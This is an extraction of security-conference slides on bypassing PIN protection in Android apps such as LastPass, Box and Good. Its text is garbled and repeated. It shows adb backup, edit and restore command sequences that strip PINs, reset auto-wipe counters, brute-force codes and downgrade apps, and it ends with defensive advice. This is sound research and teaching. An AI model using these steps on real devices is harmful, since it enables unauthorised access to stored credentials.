bull Encrypt your devicebull Encrypts ADB backups

bull Need to enter same passcode on backup screen

bull Disable USB Debuggingbull protects against adb pull push attacks

bull Donrsquot lose your phone )

Chris John Riley | 22102014 | 249

Users

bull Upgrade to the latest Android releasebull If possible

bull Additional ADB protectionsbull Introduced in Android 43

QuestionsOMFG

A Talking Horse

Bite me space boy

Thanks for cominghttpblogc22cc

ChrisJohnRiley contactc22cc

  • MOBILE FAIL Cracking open bdquosecureldquo Android Containers
  • Slide 2
  • Slide 3
  • Slide 4
  • Slide 5
  • Slide 6
  • Slide 7
  • Slide 8
  • Slide 9
  • Slide 10
  • Slide 11
  • Slide 12
  • Slide 13
  • Slide 14
  • ldquoSecurerdquo Containers
  • Slide 16
  • Slide 17
  • Slide 18
  • Slide 19
  • Slide 20
  • Slide 21
  • Slide 22
  • Slide 23
  • Slide 24
  • Slide 25
  • Slide 26
  • Slide 27
  • Slide 28
  • Slide 29
  • Slide 30
  • Slide 31
  • Slide 32
  • Android PIN Brute-Force
  • Slide 34
  • Slide 35
  • Slide 36
  • Slide 37
  • Slide 38
  • Scenario
  • Slide 40
  • Slide 41
  • Slide 42
  • Slide 43
  • Slide 44
  • Slide 45
  • Slide 46
  • Slide 47
  • Slide 48
  • Slide 49
  • Slide 50
  • Slide 51
  • Slide 52
  • Slide 53
  • Slide 54
  • Slide 55
  • Slide 56
  • Slide 57
  • Slide 58
  • ADB ndash Android Debug Bridge
  • Slide 60
  • Slide 61
  • ADB ndash Android Debug Bridge (2)
  • ADB ndash Android Debug Bridge (3)
  • ADB ndash Android Debug Bridge (4)
  • ADB ndash Android Debug Bridge (5)
  • ADB ndash Android Debug Bridge (6)
  • Supporting Tools
  • Slide 68
  • Slide 69
  • Slide 70
  • Slide 71
  • Slide 72
  • lastpass
  • lastpass (2)
  • Slide 75
  • Slide 76
  • Slide 77
  • Slide 78
  • Slide 79
  • Slide 80
  • Slide 81
  • AndroidManifestxml
  • AndroidManifestxml (2)
  • Slide 84
  • Slide 85
  • Slide 86
  • Android Backup (ab)
  • Slide 88
  • LPandroidxml
  • Slide 90
  • Slide 91
  • Slide 92
  • Slide 93
  • Slide 94
  • Theory
  • Proposed Attack
  • Slide 97
  • Slide 98
  • Slide 99
  • Slide 100
  • Slide 101
  • Slide 102
  • Slide 103
  • Slide 104
  • Slide 105
  • Slide 106
  • Slide 107
  • Slide 108
  • Slide 109
  • Slide 110
  • Easier Attack
  • Slide 112
  • Slide 113
  • Slide 114
  • Slide 115
  • Persistence
  • Slide 117
  • Slide 118
  • Slide 119
  • Slide 120
  • Slide 121
  • Slide 122
  • Slide 123
  • Slide 124
  • Slide 125
  • Slide 126
  • Slide 127
  • Slide 128
  • Slide 129
  • Slide 130
  • Slide 131
  • Slide 132
  • Slide 133
  • Slide 134
  • Slide 135
  • Slide 136
  • Slide 137
  • Slide 138
  • Slide 139
  • Slide 140
  • Slide 141
  • Slide 142
  • Slide 143
  • Slide 144
  • GOOD
  • Adv security features
  • Slide 147
  • Slide 148
  • Slide 149
  • Slide 150
  • Slide 151
  • Slide 152
  • Slide 153
  • Slide 154
  • Slide 155
  • Slide 156
  • Slide 157
  • AndroidManifestxml (3)
  • DERP
  • Slide 160
  • Theory (2)
  • Slide 162
  • Slide 163
  • Slide 164
  • Slide 165
  • Slide 166
  • Naiumlve Attack
  • Slide 168
  • Slide 169
  • Naiumlve Attack timing
  • Naiumlve Attack timing (2)
  • Naiumlve Attack timing (3)
  • Slide 173
  • Slide 174
  • Slide 175
  • Slide 176
  • Slide 177
  • Slide 178
  • Slide 179
  • Slide 180
  • Adv Attack
  • Slide 182
  • Minimize keyspace
  • Slide 184
  • Slide 185
  • Slide 186
  • Slide 187
  • Slide 188
  • Slide 189
  • methodology
  • Slide 191
  • Slide 192
  • Slide 193
  • Slide 194
  • Slide 195
  • Slide 196
  • Slide 197
  • Slide 198
  • ab_unpackerpy
  • ab_packerpy
  • Slide 201
  • Slide 202
  • Slide 203
  • Slide 204
  • Slide 205
  • Slide 206
  • Slide 207
  • Slide 208
  • Slide 209
  • Slide 210
  • Exploiting it anyway
  • Exploiting it anyway (2)
  • Slide 213
  • Slide 214
  • Reinstall flag
  • Slide 216
  • Uninstall Reinstall
  • Slide 218
  • Slide 219
  • Slide 220
  • Slide 221
  • Slide 222
  • Slide 223
  • Slide 224
  • Slide 225
  • Slide 226
  • Slide 227
  • Slide 228
  • Slide 229
  • Slide 230
  • Slide 231
  • Slide 232
  • Slide 233
  • Slide 234
  • Slide 235
  • Slide 236
  • Slide 237
  • androidallowBackup
  • Slide 239
  • Slide 240
  • Slide 241
  • Securing Apps
  • Slide 243
  • Securing Apps (2)
  • Slide 245
  • Extra Security
  • Slide 247
  • Users
  • Users (2)
  • Slide 250
  • Slide 251
  • Slide 252
  • Slide 253
Page 79: Mobile Fail: Cracking Open "secure" Android Containers [SecTorCA]

Chris John Riley | 22102014 | 99

Not the easiest process

Chris John Riley | 22102014 | 101

counter++

Chris John Riley | 22102014 | 102

Chris John Riley | 22102014 | 103

We get

tries10000

Chris John Riley | 22102014 | 104

Chris John Riley | 22102014 | 105

We get

tries10000

Chris John Riley | 22102014 | 106

Chris John Riley | 22102014 | 108

Letrsquos make it easier

Chris John Riley | 22102014 | 109

ltstring name=passwordrepromptonactivategt0ltstringgt

ltstring name=pincodeforrepromptgthellipltstringgt ltstring name=requirepingt0ltstringgt

Chris John Riley | 22102014 | 110

PROFIT

Chris John Riley | 22102014 | 111

Easier Attack

bull Backup app databull Edit XML

bull remove PIN

bull Repackagebull Restorebull WIN

easierhellip

Chris John Riley | 22102014 | 112

Chris John Riley | 22102014 | 113

>

Chris John Riley | 22102014 | 114

for points

Chris John Riley | 22102014 | 115

Persıstencepəˈsɪst(ə)ns

noun1 the fact of continuing in an opinion or course of action in spite of difficulty or opposition

Chris John Riley | 22102014 | 116

Persistence

bull Backup LastPass from device Abull Edit backup to remove PINbull Rebuild backup

bull Restore backup to device Bbull Close amp restart to re-sync changesbull Ongoing Profit

Chris John Riley | 22102014 | 117

but I RESET my password

Chris John Riley | 22102014 | 118

PROFIT++

Chris John Riley | 22102014 | 119

Chris John Riley | 22102014 | 120

spideroak

Chris John Riley | 22102014 | 121

Personal and business solutionsbull BIG on privacybull Not bad on security

spideroak

Chris John Riley | 22102014 | 122

I said not bad

Chris John Riley | 22102014 | 123

httpsspideroakcom

Chris John Riley | 22102014 | 124

Thats good

Chris John Riley | 22102014 | 125

but users are dumb

Chris John Riley | 22102014 | 126

and spideroak

Chris John Riley | 22102014 | 127

sh ts itself in the foot

8

Chris John Riley | 22102014 | 128

adb backupbull rapp_databaselocalstoragefile__0localstorage

bull BasicCredentials Basic xxxxx

spideroak

Chris John Riley | 22102014 | 129

Chris John Riley | 22102014 | 130

Still better than moist

Chris John Riley | 22102014 | 131

Chris John Riley | 22102014 | 132

boxcom

Chris John Riley | 22102014 | 133

Boxcom

Personal solutionbull Can be secured w a PINbull Limited to 4 digits

Chris John Riley | 22102014 | 134

httpswwwboxcomabout-ussecurity

Chris John Riley | 22102014 | 135

REPHRASE

POLICYYOUR

AGRESSIVE MUCH

Chris John Riley | 22102014 | 136

Chris John Riley | 22102014 | 137

Just get to the good bıt

alreadyhellip

Chris John Riley | 22102014 | 138

Boxcom

adb backupbull myPreferencexml

Chris John Riley | 22102014 | 139

ltstring name=pinCodegt

xxxxxltstringgt

hashed pin

myPreferencexml

Chris John Riley | 22102014 | 140

subtle [ˈsʌtəl]adj

a not immediately obvious or comprehensible

b cunning or wily

Chris John Riley | 22102014 | 141

Boxcom

bull adb backupbull remove PINbull adb restore

bull Profit

Chris John Riley | 22102014 | 142

>

Chris John Riley | 22102014 | 143

Chris John Riley | 22102014 | 144

GOODfor enterprise

Chris John Riley | 22102014 | 145

GOOD

Enterprise email solutionbull email | contacts | intranet browser | hellipbull Secured with a PIN or password

bull enterprise policy

bull Wipes data device after 10 false logons

httpswwwgoodcom

Chris John Riley | 22102014 | 146

Adv security features

bull Double encryptionbull SSL Tunnel + Encrypted contents

bull Full MDM solutionbull Password Policiesbull hellip

bull r00t detectionbull emulator detectionbull advanced detection

httpswwwgoodcom

Chris John Riley | 22102014 | 147

Lost device (BYOD)bull Can an attacker prevent secure wipebull Can an attacker access cached data

Chris John Riley | 22102014 | 148

PROBLEM

1

Chris John Riley | 22102014 | 149

unlike LastPass

Chris John Riley | 22102014 | 150

preferences are

encrypted

Chris John Riley | 22102014 | 151

PROBLEM

2

Chris John Riley | 22102014 | 152

hellipafter 10 false logonsauto-wipe

Chris John Riley | 22102014 | 154

Disable PIN

Chris John Riley | 22102014 | 155

auto-wipe counter

Chris John Riley | 22102014 | 156

brute-force

Chris John Riley | 22102014 | 157

buthellip

Chris John Riley | 22102014 | 158

ltapplication androidallowBackup=ldquotruerdquogt

AndroidManifestxml

DE

RP

Chris John Riley | 22102014 | 160

THEORY

1

Chris John Riley | 22102014 | 161

Theory

bull Auto-wipe counterbull Stored IN app data somewhere

Chris John Riley | 22102014 | 162

THEORY

2

Chris John Riley | 22102014 | 163

adb restore

Chris John Riley | 22102014 | 164

over writeauto-wipe

counter

Chris John Riley | 22102014 | 165

facepalm

Chris John Riley | 22102014 | 166

brute-force

Chris John Riley | 22102014 | 167

Naiumlve Attack

bull Backup app databull until goodunlock

bull Try 9 PINSbull Restore app data

Chris John Riley | 22102014 | 168

PROBLEM

3

Chris John Riley | 22102014 | 169

Chris John Riley | 22102014 | 170

Naiumlve Attack timing

1875 ppm ~ 50 keyspace

bull 4 digit PINbull est 45 hours

bull 6 digit PINbull est 185 days

bull 8 digit PINbull est 5 years

Chris John Riley | 22102014 | 171

Naiumlve Attack timing

bull 4 lower alphanumbull est 31 days

bull 6 lower alphanumbull est 3 years

bull 8 lower alphanumbull est 110 years

1875 ppm ~ 50 keyspace

Chris John Riley | 22102014 | 172

Naiumlve Attack timing

bull 4 mixed alphanumbull est 1 year

bull 6 mixed alphanumbull est 465 years

bull 8 mixed alphanumbull est 2880 years

1875 ppm ~ 50 keyspace

Chris John Riley | 22102014 | 174

Device

CONTAINER

Chris John Riley | 22102014 | 175

Device

CONTAINER

Chris John Riley | 22102014 | 176

Device

CONTAINER

facepalm

facepalm

Chris John Riley | 22102014 | 181

Adv Attack

bull Automate PIN + restorebull adb shell input textbull adb shell input keyeventbull adb shell input tap

Chris John Riley | 22102014 | 183

Minimize keyspace

bull Password Rulesbull No sequenced numbers (eg 12xx x23x xx32)bull No duplicate numbers (eg 1111)

bull Resultbull HIGHER security

bull Less stupiditybull REDUCED keyspace

Chris John Riley | 22102014 | 185

herersquos one I

Made earlier

Chris John Riley | 22102014 | 186

>

Chris John Riley | 22102014 | 187

PROFIT

Chris John Riley | 22102014 | 189

4

][Makıngit easy

Chris John Riley | 22102014 | 190

methodology

bull Common methodologybull Backup (adb)bull Extractbull Examine bull Editbull Repackbull Restore (adb)

larr here be dragonslarr bypass all the things

Chris John Riley | 22102014 | 191

remember this process

Chris John Riley | 22102014 | 192

0 - adb backup comlastpasslpandroid -f lpassab

1 - dd if=lpassab bs=24 skip=1 | openssl zlib -d gt lpasstar

2 - tar -tf lpasstar gt lpasslist

3 - tar -xvf lpasstar

4 - edit appscomlastpasslpandroidspLPandroidxml

5 - star -c -v -f lpass_newtar -no-dirslash list=lpasslist apps

6 - dd if=lpassab bs=24 count=1 of=lpass_newab

7 - openssl zlib -in lpass_newtar gtgt lpass_newab

8 - adb restore lpass_newab

Chris John Riley | 22102014 | 193

Say that 10 times fast

Chris John Riley | 22102014 | 195

automatıon

Chris John Riley | 22102014 | 198

Pythontothe rescue

Chris John Riley | 22102014 | 199

ab_unpackerpy

httpsgithubcomChrisJohnRileyRandom_Code

Chris John Riley | 22102014 | 200

ab_packerpy

httpsgithubcomChrisJohnRileyRandom_Code

Chris John Riley | 22102014 | 201

Makes 0wning things

Chris John Riley | 22102014 | 202

200 quicker

1000 funner

oo

oo

Chris John Riley | 22102014 | 207

Bonus

n0t a bug

Chris John Riley | 22102014 | 208

Chris John Riley | 22102014 | 209

You have an application bugbull Like one of the ones mentioned herebull Buthellip the vendor has patched it

Chris John Riley | 22102014 | 210

exploit

Chris John Riley | 22102014 | 211

Exploiting it anyway

Canrsquot exploit it straight offbull Need to make the vuln re-appear

Chris John Riley | 22102014 | 212

Exploiting it anyway

Android allows downgrading of appsbull In a round-about way anyway )bull Bug or feature

bull Google says feature

Chris John Riley | 22102014 | 213

Chris John Riley | 22102014 | 214

METHOD

1

Chris John Riley | 22102014 | 215

Reinstall flag

Reinstall app using ndashr parameterbull APK MUST have valid matching signature

adb install -r ltvulnerble_versionapkgt

Chris John Riley | 22102014 | 216

METHOD

2

Chris John Riley | 22102014 | 217

Uninstall Reinstall

bull Uninstall applicationbull Leave program data in place (-k)

bull Reinstall appbull APK MUST have valid matching signature

1gt adb uninstall -k ltcurrentappversiongt2gt adb install ltvulnerble_versionapkgt

Chris John Riley | 22102014 | 218

exploit

Chris John Riley | 22102014 | 219

derpppp

derp

DerpderpDERPDE

RPderp

derp

Derpderp DE

RP

derp DerpderP

Chris John Riley | 22102014 | 221

5

][ RE

VIEW

Chris John Riley | 22102014 | 222

ldquosecurerdquocontainers

=SECURE containers

Chris John Riley | 22102014 | 223

Physıcal access

Chris John Riley | 22102014 | 225

Devıcesecurity

Chris John Riley | 22102014 | 226

Datasecurity

Chris John Riley | 22102014 | 228

51

)( ITFIX

Chris John Riley | 22102014 | 230

specificissues

Chris John Riley | 22102014 | 231

lastpass

Chris John Riley | 22102014 | 232

spideroak

Chris John Riley | 22102014 | 233

boxcom

Chris John Riley | 22102014 | 234

GOODfor enterprise

Chris John Riley | 22102014 | 236

Developers

Can youread this

Chris John Riley | 22102014 | 238

androidallowBackup

httpdeveloperandroidcomguidetopicsdatabackuphtml

Chris John Riley | 22102014 | 239

Some devs

GET it

Chris John Riley | 22102014 | 240

Chris John Riley | 22102014 | 241

pref fıles

Chris John Riley | 22102014 | 242

Securing Apps

bull Preference files are NOT secretbull Encrypt preference databull ONLY store encrypted passwords

bull No XOR base64 pleasebull Better still donrsquot store passwords here

bull Donrsquot TRUST the configbull HMAC | Sign | Encrypt

Chris John Riley | 22102014 | 243

androıd backup

Chris John Riley | 22102014 | 244

Securing Apps

bull Disallow Android Backupbull if you donrsquot absolutely need it

ltapplication androidallowBackup=ldquofalserdquogt

Chris John Riley | 22102014 | 245

extra securıty

Chris John Riley | 22102014 | 246

Extra Security

bull USB Debuggingbull Detect + Disable app when activated

bull Root makes these hacks easier stillbull readedit preference files on device itselfbull ROOT detection is too basic

bull easy to fool

usersen

d

Chris John Riley | 22102014 | 248

Users

bull Encrypt your devicebull Encrypts ADB backups

bull Need to enter same passcode on backup screen

bull Disable USB Debuggingbull protects against adb pull push attacks

bull Donrsquot lose your phone )

Chris John Riley | 22102014 | 249

Users

bull Upgrade to the latest Android releasebull If possible

bull Additional ADB protectionsbull Introduced in Android 43

QuestionsOMFG

A Talking Horse

Bite me space boy

Thanks for cominghttpblogc22cc

ChrisJohnRiley contactc22cc

  • MOBILE FAIL Cracking open bdquosecureldquo Android Containers
  • Slide 2
  • Slide 3
  • Slide 4
  • Slide 5
  • Slide 6
  • Slide 7
  • Slide 8
  • Slide 9
  • Slide 10
  • Slide 11
  • Slide 12
  • Slide 13
  • Slide 14
  • ldquoSecurerdquo Containers
  • Slide 16
  • Slide 17
  • Slide 18
  • Slide 19
  • Slide 20
  • Slide 21
  • Slide 22
  • Slide 23
  • Slide 24
  • Slide 25
  • Slide 26
  • Slide 27
  • Slide 28
  • Slide 29
  • Slide 30
  • Slide 31
  • Slide 32
  • Android PIN Brute-Force
  • Slide 34
  • Slide 35
  • Slide 36
  • Slide 37
  • Slide 38
  • Scenario
  • Slide 40
  • Slide 41
  • Slide 42
  • Slide 43
  • Slide 44
  • Slide 45
  • Slide 46
  • Slide 47
  • Slide 48
  • Slide 49
  • Slide 50
  • Slide 51
  • Slide 52
  • Slide 53
  • Slide 54
  • Slide 55
  • Slide 56
  • Slide 57
  • Slide 58
  • ADB ndash Android Debug Bridge
  • Slide 60
  • Slide 61
  • ADB ndash Android Debug Bridge (2)
  • ADB ndash Android Debug Bridge (3)
  • ADB ndash Android Debug Bridge (4)
  • ADB ndash Android Debug Bridge (5)
  • ADB ndash Android Debug Bridge (6)
  • Supporting Tools
  • Slide 68
  • Slide 69
  • Slide 70
  • Slide 71
  • Slide 72
  • lastpass
  • lastpass (2)
  • Slide 75
  • Slide 76
  • Slide 77
  • Slide 78
  • Slide 79
  • Slide 80
  • Slide 81
  • AndroidManifestxml
  • AndroidManifestxml (2)
  • Slide 84
  • Slide 85
  • Slide 86
  • Android Backup (ab)
  • Slide 88
  • LPandroidxml
  • Slide 90
  • Slide 91
  • Slide 92
  • Slide 93
  • Slide 94
  • Theory
  • Proposed Attack
  • Slide 97
  • Slide 98
  • Slide 99
  • Slide 100
  • Slide 101
  • Slide 102
  • Slide 103
  • Slide 104
  • Slide 105
  • Slide 106
  • Slide 107
  • Slide 108
  • Slide 109
  • Slide 110
  • Easier Attack
  • Slide 112
  • Slide 113
  • Slide 114
  • Slide 115
  • Persistence
  • Slide 117
  • Slide 118
  • Slide 119
  • Slide 120
  • Slide 121
  • Slide 122
  • Slide 123
  • Slide 124
  • Slide 125
  • Slide 126
  • Slide 127
  • Slide 128
  • Slide 129
  • Slide 130
  • Slide 131
  • Slide 132
  • Slide 133
  • Slide 134
  • Slide 135
  • Slide 136
  • Slide 137
  • Slide 138
  • Slide 139
  • Slide 140
  • Slide 141
  • Slide 142
  • Slide 143
  • Slide 144
  • GOOD
  • Adv security features
  • Slide 147
  • Slide 148
  • Slide 149
  • Slide 150
  • Slide 151
  • Slide 152
  • Slide 153
  • Slide 154
  • Slide 155
  • Slide 156
  • Slide 157
  • AndroidManifestxml (3)
  • DERP
  • Slide 160
  • Theory (2)
  • Slide 162
  • Slide 163
  • Slide 164
  • Slide 165
  • Slide 166
  • Naiumlve Attack
  • Slide 168
  • Slide 169
  • Naiumlve Attack timing
  • Naiumlve Attack timing (2)
  • Naiumlve Attack timing (3)
  • Slide 173
  • Slide 174
  • Slide 175
  • Slide 176
  • Slide 177
  • Slide 178
  • Slide 179
  • Slide 180
  • Adv Attack
  • Slide 182
  • Minimize keyspace
  • Slide 184
  • Slide 185
  • Slide 186
  • Slide 187
  • Slide 188
  • Slide 189
  • methodology
  • Slide 191
  • Slide 192
  • Slide 193
  • Slide 194
  • Slide 195
  • Slide 196
  • Slide 197
  • Slide 198
  • ab_unpackerpy
  • ab_packerpy
  • Slide 201
  • Slide 202
  • Slide 203
  • Slide 204
  • Slide 205
  • Slide 206
  • Slide 207
  • Slide 208
  • Slide 209
  • Slide 210
  • Exploiting it anyway
  • Exploiting it anyway (2)
  • Slide 213
  • Slide 214
  • Reinstall flag
  • Slide 216
  • Uninstall Reinstall
  • Slide 218
  • Slide 219
  • Slide 220
  • Slide 221
  • Slide 222
  • Slide 223
  • Slide 224
  • Slide 225
  • Slide 226
  • Slide 227
  • Slide 228
  • Slide 229
  • Slide 230
  • Slide 231
  • Slide 232
  • Slide 233
  • Slide 234
  • Slide 235
  • Slide 236
  • Slide 237
  • androidallowBackup
  • Slide 239
  • Slide 240
  • Slide 241
  • Securing Apps
  • Slide 243
  • Securing Apps (2)
  • Slide 245
  • Extra Security
  • Slide 247
  • Users
  • Users (2)
  • Slide 250
  • Slide 251
  • Slide 252
  • Slide 253
Page 80: Mobile Fail: Cracking Open "secure" Android Containers [SecTorCA]

Chris John Riley | 22102014 | 101

counter++

Chris John Riley | 22102014 | 102

Chris John Riley | 22102014 | 103

We get

tries10000

Chris John Riley | 22102014 | 104

Chris John Riley | 22102014 | 105

We get

tries10000

Chris John Riley | 22102014 | 106

Chris John Riley | 22102014 | 108

Letrsquos make it easier

Chris John Riley | 22102014 | 109

ltstring name=passwordrepromptonactivategt0ltstringgt

ltstring name=pincodeforrepromptgthellipltstringgt ltstring name=requirepingt0ltstringgt

Chris John Riley | 22102014 | 110

PROFIT

Chris John Riley | 22102014 | 111

Easier Attack

bull Backup app databull Edit XML

bull remove PIN

bull Repackagebull Restorebull WIN

easierhellip

Chris John Riley | 22102014 | 112

Chris John Riley | 22102014 | 113

>

Chris John Riley | 22102014 | 114

for points

Chris John Riley | 22102014 | 115

Persıstencepəˈsɪst(ə)ns

noun1 the fact of continuing in an opinion or course of action in spite of difficulty or opposition

Chris John Riley | 22102014 | 116

Persistence

bull Backup LastPass from device Abull Edit backup to remove PINbull Rebuild backup

bull Restore backup to device Bbull Close amp restart to re-sync changesbull Ongoing Profit

Chris John Riley | 22102014 | 117

but I RESET my password

Chris John Riley | 22102014 | 118

PROFIT++

Chris John Riley | 22102014 | 119

Chris John Riley | 22102014 | 120

spideroak

Chris John Riley | 22102014 | 121

Personal and business solutionsbull BIG on privacybull Not bad on security

spideroak

Chris John Riley | 22102014 | 122

I said not bad

Chris John Riley | 22102014 | 123

httpsspideroakcom

Chris John Riley | 22102014 | 124

Thats good

Chris John Riley | 22102014 | 125

but users are dumb

Chris John Riley | 22102014 | 126

and spideroak

Chris John Riley | 22102014 | 127

sh ts itself in the foot

8

Chris John Riley | 22102014 | 128

adb backupbull rapp_databaselocalstoragefile__0localstorage

bull BasicCredentials Basic xxxxx

spideroak

Chris John Riley | 22102014 | 129

Chris John Riley | 22102014 | 130

Still better than moist

Chris John Riley | 22102014 | 131

Chris John Riley | 22102014 | 132

boxcom

Chris John Riley | 22102014 | 133

Boxcom

Personal solutionbull Can be secured w a PINbull Limited to 4 digits

Chris John Riley | 22102014 | 134

httpswwwboxcomabout-ussecurity

Chris John Riley | 22102014 | 135

REPHRASE

POLICYYOUR

AGRESSIVE MUCH

Chris John Riley | 22102014 | 136

Chris John Riley | 22102014 | 137

Just get to the good bıt

alreadyhellip

Chris John Riley | 22102014 | 138

Boxcom

adb backupbull myPreferencexml

Chris John Riley | 22102014 | 139

ltstring name=pinCodegt

xxxxxltstringgt

hashed pin

myPreferencexml

Chris John Riley | 22102014 | 140

subtle [ˈsʌtəl]adj

a not immediately obvious or comprehensible

b cunning or wily

Chris John Riley | 22102014 | 141

Boxcom

bull adb backupbull remove PINbull adb restore

bull Profit

Chris John Riley | 22102014 | 142

>

Chris John Riley | 22102014 | 143

Chris John Riley | 22102014 | 144

GOODfor enterprise

Chris John Riley | 22102014 | 145

GOOD

Enterprise email solutionbull email | contacts | intranet browser | hellipbull Secured with a PIN or password

bull enterprise policy

bull Wipes data device after 10 false logons

httpswwwgoodcom

Chris John Riley | 22102014 | 146

Adv security features

bull Double encryptionbull SSL Tunnel + Encrypted contents

bull Full MDM solutionbull Password Policiesbull hellip

bull r00t detectionbull emulator detectionbull advanced detection

httpswwwgoodcom

Chris John Riley | 22102014 | 147

Lost device (BYOD)bull Can an attacker prevent secure wipebull Can an attacker access cached data

Chris John Riley | 22102014 | 148

PROBLEM

1

Chris John Riley | 22102014 | 149

unlike LastPass

Chris John Riley | 22102014 | 150

preferences are

encrypted

Chris John Riley | 22102014 | 151

PROBLEM

2

Chris John Riley | 22102014 | 152

hellipafter 10 false logonsauto-wipe

Chris John Riley | 22102014 | 154

Disable PIN

Chris John Riley | 22102014 | 155

auto-wipe counter

Chris John Riley | 22102014 | 156

brute-force

Chris John Riley | 22102014 | 157

buthellip

Chris John Riley | 22102014 | 158

ltapplication androidallowBackup=ldquotruerdquogt

AndroidManifestxml

DE

RP

Chris John Riley | 22102014 | 160

THEORY

1

Chris John Riley | 22102014 | 161

Theory

bull Auto-wipe counterbull Stored IN app data somewhere

Chris John Riley | 22102014 | 162

THEORY

2

Chris John Riley | 22102014 | 163

adb restore

Chris John Riley | 22102014 | 164

over writeauto-wipe

counter

Chris John Riley | 22102014 | 165

facepalm

Chris John Riley | 22102014 | 166

brute-force

Chris John Riley | 22102014 | 167

Naiumlve Attack

bull Backup app databull until goodunlock

bull Try 9 PINSbull Restore app data

Chris John Riley | 22102014 | 168

PROBLEM

3

Chris John Riley | 22102014 | 169

Chris John Riley | 22102014 | 170

Naiumlve Attack timing

1875 ppm ~ 50 keyspace

bull 4 digit PINbull est 45 hours

bull 6 digit PINbull est 185 days

bull 8 digit PINbull est 5 years

Chris John Riley | 22102014 | 171

Naiumlve Attack timing

bull 4 lower alphanumbull est 31 days

bull 6 lower alphanumbull est 3 years

bull 8 lower alphanumbull est 110 years

1875 ppm ~ 50 keyspace

Chris John Riley | 22102014 | 172

Naiumlve Attack timing

bull 4 mixed alphanumbull est 1 year

bull 6 mixed alphanumbull est 465 years

bull 8 mixed alphanumbull est 2880 years

1875 ppm ~ 50 keyspace

Chris John Riley | 22102014 | 174

Device

CONTAINER

Chris John Riley | 22102014 | 175

Device

CONTAINER

Chris John Riley | 22102014 | 176

Device

CONTAINER

facepalm

facepalm

Chris John Riley | 22102014 | 181

Adv Attack

bull Automate PIN + restorebull adb shell input textbull adb shell input keyeventbull adb shell input tap

Chris John Riley | 22102014 | 183

Minimize keyspace

bull Password Rulesbull No sequenced numbers (eg 12xx x23x xx32)bull No duplicate numbers (eg 1111)

bull Resultbull HIGHER security

bull Less stupiditybull REDUCED keyspace

Chris John Riley | 22102014 | 185

herersquos one I

Made earlier

Chris John Riley | 22102014 | 186

>

Chris John Riley | 22102014 | 187

PROFIT

Chris John Riley | 22102014 | 189

4

][Makıngit easy

Chris John Riley | 22102014 | 190

methodology

bull Common methodologybull Backup (adb)bull Extractbull Examine bull Editbull Repackbull Restore (adb)

larr here be dragonslarr bypass all the things

Chris John Riley | 22102014 | 191

remember this process

Chris John Riley | 22102014 | 192

0 - adb backup comlastpasslpandroid -f lpassab

1 - dd if=lpassab bs=24 skip=1 | openssl zlib -d gt lpasstar

2 - tar -tf lpasstar gt lpasslist

3 - tar -xvf lpasstar

4 - edit appscomlastpasslpandroidspLPandroidxml

5 - star -c -v -f lpass_newtar -no-dirslash list=lpasslist apps

6 - dd if=lpassab bs=24 count=1 of=lpass_newab

7 - openssl zlib -in lpass_newtar gtgt lpass_newab

8 - adb restore lpass_newab

Chris John Riley | 22102014 | 193

Say that 10 times fast

Chris John Riley | 22102014 | 195

automatıon

Chris John Riley | 22102014 | 198

Pythontothe rescue

Chris John Riley | 22102014 | 199

ab_unpackerpy

httpsgithubcomChrisJohnRileyRandom_Code

Chris John Riley | 22102014 | 200

ab_packerpy

httpsgithubcomChrisJohnRileyRandom_Code

Chris John Riley | 22102014 | 201

Makes 0wning things

Chris John Riley | 22102014 | 202

200 quicker

1000 funner

oo

oo

Chris John Riley | 22102014 | 207

Bonus

n0t a bug

Chris John Riley | 22102014 | 208

Chris John Riley | 22102014 | 209

You have an application bugbull Like one of the ones mentioned herebull Buthellip the vendor has patched it

Chris John Riley | 22102014 | 210

exploit

Chris John Riley | 22102014 | 211

Exploiting it anyway

Canrsquot exploit it straight offbull Need to make the vuln re-appear

Chris John Riley | 22102014 | 212

Exploiting it anyway

Android allows downgrading of appsbull In a round-about way anyway )bull Bug or feature

bull Google says feature

Chris John Riley | 22102014 | 213

Chris John Riley | 22102014 | 214

METHOD

1

Chris John Riley | 22102014 | 215

Reinstall flag

Reinstall app using ndashr parameterbull APK MUST have valid matching signature

adb install -r ltvulnerble_versionapkgt

Chris John Riley | 22102014 | 216

METHOD

2

Chris John Riley | 22102014 | 217

Uninstall Reinstall

bull Uninstall applicationbull Leave program data in place (-k)

bull Reinstall appbull APK MUST have valid matching signature

1gt adb uninstall -k ltcurrentappversiongt2gt adb install ltvulnerble_versionapkgt

Chris John Riley | 22102014 | 218

exploit

Chris John Riley | 22102014 | 219

derpppp

derp

DerpderpDERPDE

RPderp

derp

Derpderp DE

RP

derp DerpderP

Chris John Riley | 22102014 | 221

5

][ RE

VIEW

Chris John Riley | 22102014 | 222

ldquosecurerdquocontainers

=SECURE containers

Chris John Riley | 22102014 | 223

Physıcal access

Chris John Riley | 22102014 | 225

Devıcesecurity

Chris John Riley | 22102014 | 226

Datasecurity

Chris John Riley | 22102014 | 228

51

)( ITFIX

Chris John Riley | 22102014 | 230

specificissues

Chris John Riley | 22102014 | 231

lastpass

Chris John Riley | 22102014 | 232

spideroak

Chris John Riley | 22102014 | 233

boxcom

Chris John Riley | 22102014 | 234

GOODfor enterprise

Chris John Riley | 22102014 | 236

Developers

Can youread this

Chris John Riley | 22102014 | 238

androidallowBackup

httpdeveloperandroidcomguidetopicsdatabackuphtml

Chris John Riley | 22102014 | 239

Some devs

GET it

Chris John Riley | 22102014 | 240

Chris John Riley | 22102014 | 241

pref fıles

Chris John Riley | 22102014 | 242

Securing Apps

bull Preference files are NOT secretbull Encrypt preference databull ONLY store encrypted passwords

bull No XOR base64 pleasebull Better still donrsquot store passwords here

bull Donrsquot TRUST the configbull HMAC | Sign | Encrypt

Chris John Riley | 22102014 | 243

androıd backup

Chris John Riley | 22102014 | 244

Securing Apps

bull Disallow Android Backupbull if you donrsquot absolutely need it

ltapplication androidallowBackup=ldquofalserdquogt

Chris John Riley | 22102014 | 245

extra securıty

Chris John Riley | 22102014 | 246

Extra Security

bull USB Debuggingbull Detect + Disable app when activated

bull Root makes these hacks easier stillbull readedit preference files on device itselfbull ROOT detection is too basic

bull easy to fool

usersen

d

Chris John Riley | 22102014 | 248

Users

bull Encrypt your devicebull Encrypts ADB backups

bull Need to enter same passcode on backup screen

bull Disable USB Debuggingbull protects against adb pull push attacks

bull Donrsquot lose your phone )

Chris John Riley | 22102014 | 249

Users

bull Upgrade to the latest Android releasebull If possible

bull Additional ADB protectionsbull Introduced in Android 43

QuestionsOMFG

A Talking Horse

Bite me space boy

Thanks for cominghttpblogc22cc

ChrisJohnRiley contactc22cc

  • MOBILE FAIL Cracking open bdquosecureldquo Android Containers
  • Slide 2
